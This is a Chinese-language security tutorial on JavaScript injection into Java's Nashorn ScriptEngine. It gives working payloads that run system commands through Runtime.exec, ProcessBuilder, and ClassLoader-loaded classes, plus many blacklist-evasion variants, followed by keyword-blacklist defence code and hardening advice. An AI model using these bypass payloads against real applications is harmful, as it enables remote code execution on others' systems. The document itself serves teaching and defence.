java中js命令执行的攻与防
字数 873 2025-08-09 17:09:29
Java中JS命令执行的攻与防
1. 漏洞背景
在Java应用中,通过javax.script.ScriptEngine执行JavaScript代码时,由于Nashorn引擎的特性,可能导致Java代码执行漏洞。攻击者可以利用这一特性执行系统命令,造成严重安全风险。
2. 漏洞原理
2.1 基本执行机制
Java通过ScriptEngine执行JS代码的基本方式:
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
engine.eval("JS代码");
2.2 漏洞触发点
Nashorn引擎允许在JS中直接调用Java类和方法:
var x = java.lang.Runtime.getRuntime().exec("calc");
3. 攻击方式演进
3.1 初始攻击
var a = mainOutput();
function mainOutput() {
var x=java.lang.Runtime.getRuntime().exec("calc");
};
3.2 绕过黑名单的方法
- 使用注释绕过:
var x=java.lang./****/Runtime.getRuntime().exec("calc");
- 使用空格绕过:
var x=java.lang. Runtime.getRuntime().exec("calc");
- 使用ProcessBuilder:
var x=new java.lang.ProcessBuilder;
x.command("calc");
x.start();
- 使用字符串拼接:
var x=new Function('return'+'(new java.'+'lang.ProcessBuilder)')();
x.command("calc");
x.start();
- 嵌套eval绕过:
new javax.script.ScriptEngineManager()
.getEngineByName("js")
.eval("var x=java.lang."+"Runtime.getRuntime().exec(\"calc\");");
3.3 高级绕过技术
- 使用Java.type():
var JavaTest= Java.type("java.lang"+"Runtime");
var b =JavaTest.getRuntime();
b.exec("calc");
- 使用Rhino兼容功能:
load("nashorn:mozilla_compat.js");
importPackage(java.lang);
var x=Runtime.getRuntime();
x.exec("calc");
- 使用JavaImporter:
var importer =JavaImporter(java.lang);
with(importer){
var x=Runtime.getRuntime().exec("calc");
}
- 通过ClassLoader加载恶意类:
var clazz = java.security.SecureClassLoader.class;
var method = clazz.getSuperclass().getDeclaredMethod('defineClass', 'anything'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);
method.setAccessible(true);
var classBytes = '恶意类字节码';
var bytes = java.util.Base64.getDecoder().decode(classBytes);
var constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);
var clz = method.invoke(constructor.newInstance(), bytes, 0 , bytes.length);
clz.newInstance();
- 使用Unicode和特殊空白符:
var x=java.\u2029lang.Runtime.getRuntime().exec("calc");
- 利用注释解析差异:
var x=java.lang.//
Runtime.getRuntime().exec("calc");
4. 防御方案演进
4.1 初始黑名单
private static final Set<String> blacklist = Sets.newHashSet(
"java.io.File", "java.lang.Runtime", "java.lang.System",
"java.lang.Class", "java.lang.ClassLoader", "eval", "new function"
);
4.2 增强防御措施
- 去除注释:
String removeComment = StringUtils.replacePattern(code,
"(?:/\\*(?:[^*]|(?:\\*+[^*/]))*\\*+/)|(?://.*)", " ");
- 处理空白符:
String removeWhitespace = StringUtils.replacePattern(removeComment, "\\s+", "");
String oneWhiteSpace = StringUtils.replacePattern(removeComment, "\\s+", " ");
- 扩展黑名单:
private static final Set<String> blacklist = Sets.newHashSet(
// Java危险类
"java.io.File", "java.lang.Runtime", "java.lang.ProcessBuilder",
// 反射关键字
"invoke", "newinstance",
// JS危险方法
"eval", "new function",
// 引擎特性
"Java.type", "importPackage", "importClass", "JavaImporter"
);
4.3 最终防御方案
public static void checkInsecureKeyword(String code) throws Exception {
// 去除注释(包括换行符)
String removeComment = StringUtils.replacePattern(code,
"(?:/\\*(?:[^*]|(?:\\*+[^*/]))*\\*+/)|(?://.*[\n\r\u2029\u2028])", " ");
// 去除特殊空白符
removeComment = StringUtils.replacePattern(removeComment,
"[\u2028\u2029\u00a0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\ufeff]", "");
// 去除所有空白
String removeWhitespace = StringUtils.replacePattern(removeComment, "\\s+", "");
// 多个空白替换为一个
String oneWhiteSpace = StringUtils.replacePattern(removeComment, "\\s+", " ");
// 检查黑名单
Set<String> insecure = blacklist.stream()
.filter(s -> StringUtils.containsIgnoreCase(removeWhitespace, s) ||
StringUtils.containsIgnoreCase(oneWhiteSpace, s))
.collect(Collectors.toSet());
if (!CollectionUtils.isEmpty(insecure)) {
throw new Exception("存在安全问题");
} else {
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
engine.eval(code);
}
}
5. 最佳实践建议
-
优先使用白名单:黑名单总是存在被绕过的风险,应尽可能使用白名单机制
-
考虑沙箱方案:
- 使用Java安全管理器(SecurityManager)
- 实现自定义的JS沙箱环境
-
彻底解决方案:
- 升级到JDK15+(移除了Nashorn引擎)
- 使用更安全的JS引擎如GraalVM JavaScript
-
输入验证:
- 严格验证所有用户输入的JS代码
- 限制JS代码的功能范围
-
日志监控:
- 记录所有JS代码执行请求
- 设置异常行为告警机制
6. 总结
Java中通过ScriptEngine执行JS代码存在严重的安全风险,攻击者可以通过多种方式绕过简单的黑名单防御。有效的防御需要结合多种技术手段,包括严格的输入过滤、黑名单/白名单机制、特殊字符处理等。最安全的做法是避免在Java应用中直接执行用户提供的JS代码,或使用专门的沙箱环境来隔离潜在的危险操作。